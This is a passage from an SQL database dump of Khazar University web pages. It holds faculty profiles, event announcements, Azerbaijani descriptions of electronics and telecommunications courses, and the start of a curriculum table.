noshade=\"noshade\"><br><p><strong><a href=\"http://www.khazar.org/files/pdf/Shahmerdan_Shahbaz_CV.pdf\"><img src=\"/files/radio_depart/IMG-20180123-WA0000.jpg\" style=\"width:150px;height:168px;margin:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/radio_depart/Shahmerdan2018CVaz.pdf\">Şahmərdan Əmirov</a><a href=\"http://www.khazar.org/files/radio_depart/Shahmerdan_Shahbaz_CV.pdf\"></a></strong></p><p>PhD (Azərbaycan&nbsp;Milli Elmlər Akademiyası)    </p><p>MS, Bərk maddələr nəzəriyyəsi (Bakı Dövlət Universiteti,&nbsp;Azərbaycan)  </p><p>E-poçt:&nbsp;<a href=\"http://mailto:amirov1960@list.ru/\">amirov1960@list.ru</a></p><p><br></p><p><br></p><p><br></p><br><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p><img src=\"/files/radio_depart/IMG-20180117-WA0000-new.jpg\" style=\"width:150px;height:208px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/radio_depart/Sevda_Garibova%20CV%20-az%20(1).pdf\">Sevda Qaribova</a><a href=\"http://www.khazar.org/files/pdf/Sevda_Qaribova%20CV.pdf\"></a>&nbsp;</strong></p><p>PhD (Azərbaycan&nbsp;Milli Elmlər Akademiyası)  </p><p>MS, Tətbiqi Fizika&nbsp;(Bakı Dövlət Universiteti,&nbsp;Azərbaycan)  </p><p>E-poçt:&nbsp;<a href=\"http://mailto:%20sqaribova@rambler.ru/\">sqaribova@rambler.ru</a></p><p><br></p><p><br></p><p><br></p><br><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><br><br><p><img src=\"/files/radio_depart/Sabuhi_Ganiyev.jpg\" style=\"width:150px;height:197px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/radio_depart/Sabuhi_Ganiyev%20(KhazarUniversity)%20CV_AZE.pdf\">Səbuhi Qəniyev</a></strong></p><p>MS, Elektronika mühəndisliyi (Beynəlxalq&nbsp;İslam Universiteti,&nbsp;Kuala Lumpur, Malayziya)</p><p>E-poçt:&nbsp;<a href=\"mailto:s.ganiyev@gmail.com/\">s.ganiyev@gmail.com</a>&nbsp;<br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><img src=\"/files/engineering/images/fakhranda_a.jpg\" style=\"float:left;width:150px;height:142px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong><a href=\"http://www.khazar.org/files/radio_depart/CV_Fakhranda%20A.N.az.pdf\">Fəxrəndə Əlimərdanova</a>&nbsp; &nbsp;</strong></p><p><strong></strong>PhD (Azərbaycan&nbsp;Milli Elmlər Akademiyası)  </p><p>MS, Fizika (Bakı Dövlət Universiteti,&nbsp;Azərbaycan)</p><p>E-poçt: <a href=\"http://mailto:%20sqaribova@rambler.ru/\">falimardanova@khazar.org<br></a></p><p><br><a href=\"http://mailto:%20sqaribova@rambler.ru/\"></a></p><p><br></p><br><hr style=\"width:100%;height:1px\" noshade=\"noshade\">'),(3693,2158,'en','Career Day to be Held at Khazar University','On May 22, 2017, KPMG Azerbaijan will hold a Career Day at “Neftchiler” campus...','<p>On May 22, 2017, KPMG\r\nAzerbaijan will hold a Career Day at&nbsp;“Neftchiler” campus of Khazar\r\nUniversity (Room 402N).</p>\r\n<p>Within the Career Day the\r\nCompany representatives will review and gather candidates` CVs and conduct\r\nonline testing which will be the first step of recruitment process to the\r\nvacant internship positions at Audit and Tax Department of KPMG Azerbaijan. All\r\nthe senior year undergraduate and postgraduate students majoring in Finance,\r\nAccounting and Audit, BBA and MBA are invited to participate.</p>\r\n<p>For registration please\r\nvisit Career Center, Room 211 old. Deadline for the registration is 15 May 2017.</p>'),(4628,2745,'az','Xəzər Universitetində kitab yarmarkası təşkil olundu','2017-ci il dekabrın 12-si və 13-də Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin 2-ci il tələbələri Rəvan İbrahimli...','<p>2017-ci il dekabrın 12-si və 13-də Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin 2-ci il tələbələri Rəvan İbrahimli və Emil Əliyevin təşəbbüsü ilə “<strong><em>Book Zone</em></strong>” Kitab Evi universitetin&nbsp;foyesində kitab yarmarkası təşkil etdi.</p><p>Yarmarkada həm tələbələr, həm də müəllimlər endirimli qiymətlərlə müxtəlif mövzulu kitabları əldə etmək imkanından yararlandılar.</p>'),(930,297,'az',' Fənlər',' Fənlər','<div><br></div><div><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>ETR 211:&nbsp;\r\nYarımkeçirici cihazlar və modelləşdirmə (6 <strong>ECTS&nbsp;</strong>kredit)</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>Ön tələb: PHSC 112</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Bu kursda yarımkeçirici cihazların və onun modelləşməsinin\r\nəsaslarının öyrənilməsi təklif edilir. Qabaqcıl kompüter simulyasiya\r\nvasitələrdən istifadə edilməklə yarımkeçirici cihazların istehsal prosesləri\r\ntədqiq edilir. Xüsusi yarımkeçirici cihazlar istehsal üçün elektrik xassələri\r\nvə parametrlərinin hasilatı ilə modelləşmiş olunur. Ədədi metodların tətbiqi\r\nilə bu kursda diskret iki ölçülü cihazların analizi üzrə əsas anlayışlar təmin\r\nedilir. Çökmə, litoqrafiya, epitaksiya, implant prosesləri öyrənilir.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>&nbsp;</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>ETR 313: Analoq\r\nelektronika (8 <strong>ECTS&nbsp;</strong>kredit)</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>Ön tələb: PHSC 112</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Bu kurs yüksək tezlikli gücləndiricilər, verilənlərin\r\nçeviriciləri, tək menbə təchizatlı gücləndiricilər AMPS və aşağı güc sxemlərə\r\nanalog yanaşma vasitəsilə analog elektronikanı öyrədir. Analog elektron\r\nsxemləri təhlil edir və dizaynını qurur. Hər iki bipolar və sahə tranzistoru\r\nüçün aşağı və yüksək tezlikli modelləri qurur. Bu kurs passiv cihazların\r\nmüzakirəsi ilə başlayır, aktiv cihazların təhlili və dövrə tənlikləri\r\nvasitəsilə inkişaf etdirilir. Analoq elektronikada p və n materiallara, p-n\r\ndiodlara, keçidlərə və FET sahə tranzistorlara baxılır. Dövrə sxemlərinin\r\ndaşıyıcı dövrəsi geniş şəkildə elementlərlə əhatə olunur və yüksək reaksiya\r\nsürətli gücləndiricilər kimi xidmət edir.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>ETR 320: Rəqəmsal\r\nelektronika (6&nbsp;<strong>ECTS&nbsp;</strong>kredit)</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>Ön tələb: CMS 303</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Məntiqi dövrəler, sayğaclar və registrlər, rəqəmsal sxemlərin\r\nəsasları bu kursda tədqiq edilir. Bu kurs kombinə olunmuş və ardıcıl məntiqi\r\nsxemləri əhatə edir. Kursa say sistemləri, Bul cəbri, məntiq ailələri, MSI və\r\nLSI sxemləri, A/D və D/A çeviriciləri, və digər əlaqəli mövzular daxildir. Kurs\r\nbaşa çatdıqdan sonra, tələbələr, rəqəmsal avadanlıqlardan istifadə etdiyi zaman\r\nsxemotexnikanın təhlili, yoxlama və müvafiq texnika və test avadanlıqdan\r\nistifadə etmək vərdişlərinə yiyələnəcəkdir.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><br></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>ETR 337:\r\nTelekommunikasiya sistemləri (6 <strong>ECTS&nbsp;</strong>kredit)</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>Ön tələb: MATH 102</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Telekommunikasiya sistemləri kursu ətraflı şəkildə\r\ntelekommunikasiya sistemlərini və xidmətlərini geniş formada öyrənir və bütün\r\nmeyarları telekommunikasiya layihələrini tələbə qrupları tərəfindən başa\r\nçatması ilə bağlayır: marketinq tədqiqatları, texnoloji proqnozlaşdırma, şəbəkə\r\ndizayn və qabariti və nəhayət, maliyyə texniki-iqtisadi təhlili.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>ETR 346:\r\nTelekommunikasiya şəbəkələri (6 <strong>ECTS&nbsp;</strong>kredit)</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>Ön tələb: ETR 313</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Verilənlər arası rabitə və internet texnologiyaları və əsas\r\nsistem çevikliyinin analizi bu kursun əsasını təşkil edir. Məqsəd və\r\nehtiyacların təşkili üçün yuxarı-aşağı istiqamətli şəbəkə texnologiyalarını\r\nöyrədir. TCP / IP, LANs, WANs, daxili şəbəkələr və siqnallar və rabitə mediası\r\nda öyrədilir.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>ETR 357:\r\nElektromaqnit nəzəriyyəsi (6 <strong>ECTS&nbsp;</strong>kredit)&nbsp;</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>Ön tələb: PHSC 112</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Elektromaqnit nəzəriyyəsi elektromaqnetizmin əsas prinsiplərini\r\nəhatə edir: Maksvell tənlikləri, elektromaqnit dalğalarının yayılma və\r\nradiasiyası, təcrübi əsasları, elektrostatika, davamlı kəsilməz cərəyanların və\r\nelektromaqnit induksiyasının maqnit sahəsi, maddələrin elektrik və maqnit\r\nxassələri, və konservasiya qanunları. Elektromaqnit sahəsinin əsasları. Kulon qanunu,\r\nQaus qanunu, elektrik potensialı, dielektrik materiallarının tutumu, Amper\r\nqanunu, Bio-Savar qanunu, maqnit materialları, keçiricilik kimi mövzulara\r\nbaxılacaqdır.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>ETR 370:\r\nRadiomühəndisliyin əsasları (8 <strong>ECTS&nbsp;</strong>kredit)</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>Ön tələb: EENG 301</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Bu kurs simsiz, mobil və mikrodalğalı sistemlər üçün radio\r\ntezlik nəzəriyyəsinin və praktikasının əsasını öyrədir. Radio tezlik\r\nmühəndisliyi bu günkü simsiz dünyada əhəmiyyətli şəkildə hələ də geniş miqyasda\r\nyayılmamış sahədir.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>ETR 382:\r\nRadiomühəndislik avadanlıqları (6 <strong>ECTS&nbsp;</strong>kredit)</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>Ön tələb: EENG 301</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Bu kurs müvafiq laboratoriya fəaliyyətinin dörd elementi\r\nüzərində müzakirə ediləcək: ölçmələr aparılacaq laboratoriyada istifadə olunan\r\navadanlıqların kalibrə edilməsi; müəyyən texniki standartlara uyğun\r\navadanlıqların radio tezliyinin testləşməsi; radio tezlikli avadanlıqlarda\r\nelektromaqnit uyğunluğunun təkmilləşdirilməsi üçün inkişaf üsulları; və yeni\r\nradio texnoloji testləşmələrdə tətbiq baxımından yeni uyğunluq qiymətləndirmə\r\nmetodlarından istifadənin inkişafı.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;<strong><em>ETR 412: Mikrodalğalı\r\nsxemlərin əsasları (6 <strong>ECTS&nbsp;</strong>kredit)</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>Ön tələb: ETR 357</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Kurs mikrodalğalı sxemlərin, cihazların və ölçülərinin\r\nfundamental prinsiplərini əhatə edir. Bu kurs mikrodalğalı dövrə sxemlərinin\r\nanalizi, dizayn və texniki qiymətləndirməsini daha yaxşı başa düşmək üçün\r\nradiasiya, rabitə, naviqasiya, radar, RF sistemləri, məsafədən idarəetmə və\r\nradio astronomiya sahələrində mühəndis, alimlər, texnoloqlar və mühəndis\r\nmenecerləri üçün nəzərdə tutulmuşdur. Bu kursa stripxətlər və mikrostriplər,\r\nmikrostrip xətlərin təhrifində keçid siqnalı, uyğun texniki impedans, dalğa\r\ndaşıyıcı sistemlərdə bir portlu və multiportlu ümumi dövrələr nəzəriyyəsi,\r\nmikrodalğalı bərk maddə qurğuları, impedans və səpilmə matrisləri və dalğa\r\ndaşıyıcıların dövrə elementləri daxilir.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>ETR 416: Enerji\r\nçevrilməsi (6 <strong>ECTS&nbsp;</strong>kredit)</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>Ön tələb: ETR 311</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Müasir elektrik enerji çevrilməsi sistemləri üzrə bilik və\r\nbacarıqları verməklə bu kurs elektrik mühəndislərinə tədris edilməsi üçün\r\nnəzərdə tutulmuşdur -&nbsp; &nbsp;güc elektronik texnologiyasında, elektrik\r\nnəqliyyat vasitələrində, dəmir yolu sistemi, bərpa olunan enerji istehsalı,\r\nelektrikdən fəal idarəetmə sistemlərində, məişət və sənaye proseslərinin\r\navtomatlaşdırma sistemləri. Bura həmçinin elektrik maşın və güc elektronik\r\nqurğularının sxemlərinin əsasları, inteqrasiya sıstemi, nəzarət, enerji\r\nidarəetməsi və müdafiə daxildir.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>ETR 445: Nəzarət\r\nsistemləri (6 <strong>ECTS&nbsp;</strong>kredit)</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>Ön tələb: CMS 303</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Rəqəmsal nəzarət sistemlərində çalışmaq üçün əsas biliklərlə\r\ntəmin edir. Xətti sistemləri təhlil edir: Laplas çevrilməsi, siqnal axını və\r\nblok diaqramlar. Açıq və qapalı döngü sistemləri, sabitliyin təhlili; Dayanıqlı\r\nhal cavabı: sinif sistemləri, Bode qurulması, faza və qazanc əhatəsi, faza\r\nqabaqlayıcıları və faza gecikməni&nbsp; kompensə edici sxemlər, keçid\r\nçevikliyi, Root lokus metodu, qütblər və sıfırlar sistemi, yerləşmə qütbündən\r\nkontrollerin konstruksiyası, PID nəzarət: bumpless transfer və anti-windup o\r\ncümlədən sənaye tətbiqi üçün alqoritmləri. Kəsilməz keçidlə və qeyri-zavod\r\nistehsal şərti ilə sənaye realizəsi üçün alqoritmlər.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>ETR 450: Elektrik və\r\nElektronik mühəndisliyi (6 <strong>ECTS&nbsp;</strong>kredit)</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>Ön tələb: ETR 311</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Mövzulara DC və AC dövrələrdə gərginlik, cərəyan şiddəti,\r\nmüqavimət və güc, ardıcıl, paralel və bir çox mürəkkəb sxemli kompleks\r\ndövrələrdə Kirxhof qanunları və seçilmiş şəbəkə teoremləri, tutumlar və\r\ninduktivlik, rezonans daxildir. Mövzulara diodlar, qida mənbələri, güc\r\ngücləndiriciləri, müəyyən xətti sxemlərdə tətbiq üçün nəzərdə tutulmuş müxtəlif\r\nəks əlaqəli əməliyyat gücləndiriciləri, bipolyar tranzistorlar, düzləndirici\r\ndövrələr, Zener diodu tənzimləyiciləri dövrə elementləri kimi bərk maddə\r\nelektronikası daxildir. &nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;<em>ETR 454: Siqnal\r\nprosesləri (6 <strong>ECTS&nbsp;</strong>kredit)</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>Ön tələb: MATH 102</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Siqnal emalı anlayışları danışıqla və əsas etibari ilə səs\r\ngenerasiyası ilə bağlı vurğulanır. Kursun tədrisində məqsəd, insan\r\norqanizmi/interfeys xəyal və taktil giriş/çıxış sistemlərində və səs istifadə\r\nolunan multimedia sistemləri üçün elementlərin işlənib hazırlanması və\r\ntələbələri əsas anlayışlarla tanış etməkdir. Tələbələr analoq siqnalların\r\nfundamental konsepsiyası, analoqdan rəqəmsala çevrilmə, rəqəmsaldan analoqa\r\nçevrilmə, siqnalların zamana görə diskretləşməsi, sistemlərdə rəqəmsal siqnal\r\nemal, aşağı / yüksək / zolaqlı süzgəclərdə zaman disktretliyinin təhlili,\r\nsiqnallar arasında korrelyasiya və avtomatik kimi əsas anlayışlarla tanış\r\nolurlar.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>ETR</em></strong><strong><em>&nbsp;</em></strong><strong><em>463:</em></strong><strong><em>&nbsp;</em></strong><strong><em>Rəqəmsal</em></strong><strong><em>&nbsp;</em></strong><strong><em>mikroelektronika</em></strong><strong><em>&nbsp;</em></strong><strong><em>(6</em></strong><strong><em>&nbsp;<strong>ECTS&nbsp;</strong></em></strong><strong><em>kredit)</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>Ön tələb: ETR 313</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Bu kursda müasir rəqəmsal inteqral sxemlərdə inteqrasiya üçün\r\ntransistor səviyyəli strukturlar müzakirə edilir. Analitik üsullar və kompüter destekli\r\ndövrə analiz üsullarından istifadə edərək rəqəmsal inteqral sxemlərin təhlil və\r\nkonstruksiyası. Bipolyar, CMOS və BiCMOS kimi texnologiyalar geniş şəkildə\r\ndövrələrdə testləşmə və küy mənbələri kimi əsas anlayışları əhatə edir.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;<strong><em>ETR 472:\r\nElektronik müdafiə sistemlərinə giriş (6 <strong>ECTS&nbsp;</strong>kredit)</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>Ön tələb: ETR 382</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Elektronik müdafiə sistemlərinə giriş:&nbsp; Təhdidlər, tələblər\r\nvə prinsiplər, inkişaf etmiş radar təhlükəsi, müasir elektron ötürmə sistemi\r\nanaliz edilir. Arxitektura, növləri, və texnologiyası, müasir radar sistemləri,\r\nrəqəmsal radio tezlikli yaddaş, elektron müdafiə dəstəyi, sərfiyyat\r\nmaterialları və izləmə sistemləri, yönəldilmiş enerji tuşlanması və gizli\r\ntexnologiya, tətbiqi elektron müdafiə.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>ETR 490: Optik\r\nrabitə mühəndisliyi (6 <strong>ECTS&nbsp;</strong>kredit)</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>Ön tələb: ETR 320</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Bu kursda alınan məlumatın optik liflərlə ötürülməsi,\r\nmultipleksə edilməsi və paylanmısı kimi məsələlərə baxılır. Üfüqi və şaquli\r\nkabel texnikası (qurğular, kabel yolları) BICSI və EIA / TIA standartlarla\r\ntədris olunur. Mövzulara işıq mənbələri, detektorları, sıxaclar və\r\nkonnektorlar, bağlama, fiber-optik sistemi və quraşdırılması və fiber-optik\r\navadanlıq növləri daxildir.</p>\r\n<p>&nbsp;</p>  <br></div>');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (931,298,'az','Dərəcə Proqramları','Dərəcə Proqramları','<div style=\"text-align:center\"><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Elektronika, Telekommunikasiya və Radiomühəndislik ixtisası üzrə bakalavr proqramı</strong></p><table cellpadding=\"0\" cellspacing=\"0\" width=\"941\" style=\"\" border-collapse:collapse;width:707pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"27\" style=\"height:20.25pt\">\r\n  <td height=\"27\" class=\"xl76\" width=\"77\" style=\"height:20.25pt;width:58pt\"></td>\r\n  <td colspan=\"8\" class=\"xl130\" width=\"800\" style=\"width:601pt\"><strong>1<sup>st</sup>-Year</strong></td>\r\n  <td width=\"64\" style=\"width:48pt\"></td>\r\n </tr>\r\n <tr height=\"23\" style=\"height:17.25pt\">\r\n  <td height=\"23\" class=\"xl77\" style=\"height:17.25pt;background-color:#ff6666\">CODE</td>\r\n  <td class=\"xl78\" width=\"229\" style=\"border-left:none;width:172pt;background-color:#ff6666\">Fall Semester</td>\r\n  <td class=\"xl111\" width=\"66\" style=\"border-left:none;width:50pt;background-color:#ff6666\">KU</td>\r\n  <td class=\"xl79\" style=\"border-left:none;background-color:#ff6666\">ECTS</td>\r\n  <td class=\"xl80\" style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td class=\"xl77\" style=\"background-color:#ff6666\">CODE</td>\r\n  <td class=\"xl78\" width=\"234\" style=\"border-left:none;width:176pt;background-color:#ff6666\">Spring Semester</td>\r\n  <td class=\"xl114\" width=\"53\" style=\"border-left:none;width:40pt;background-color:#ff6666\">KU</td>\r\n  <td class=\"xl79\" style=\"border-left:none;background-color:#ff6666\">ECTS</td>\r\n  <td style=\"background-color:#ff6666\"></td>\r\n </tr>\r\n <tr height=\"24\" style=\"height:18.0pt\">\r\n  <td height=\"24\" class=\"xl81\" style=\"height:18pt;border-top:none;background-color:#ff6666\">AZLL 101</td>\r\n  <td class=\"xl104\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#ff6666\">Azerbaijan\r\n  Language&nbsp;</td>\r\n  <td class=\"xl105\" width=\"66\" style=\"border-top:none;border-left:none;width:50pt;background-color:#ff6666\">3</td>\r\n  <td class=\"xl82\" style=\"border-top:none;border-left:none;background-color:#ff6666\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td class=\"xl112\" style=\"background-color:#ff6666\">AZH 150</td>\r\n  <td class=\"xl102\" width=\"234\" style=\"border-top:none;width:176pt;background-color:#ff6666\">Azerbaijan\r\n  History</td>\r\n  <td class=\"xl103\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#ff6666\">3</td>\r\n  <td class=\"xl82\" style=\"border-top:none;border-left:none;background-color:#ff6666\">6</td>\r\n  <td style=\"background-color:#ff6666\"></td>\r\n </tr>\r\n <tr height=\"24\" style=\"height:18.0pt\">\r\n  <td height=\"24\" class=\"xl81\" style=\"height:18pt;border-top:none;background-color:#ff6666\">MATH 101</td>\r\n  <td class=\"xl104\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#ff6666\">Calculus_I</td>\r\n  <td class=\"xl105\" width=\"66\" style=\"border-top:none;border-left:none;width:50pt;background-color:#ff6666\">3</td>\r\n  <td class=\"xl82\" style=\"border-top:none;border-left:none;background-color:#ff6666\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"background-color:#ff6666\">MATH 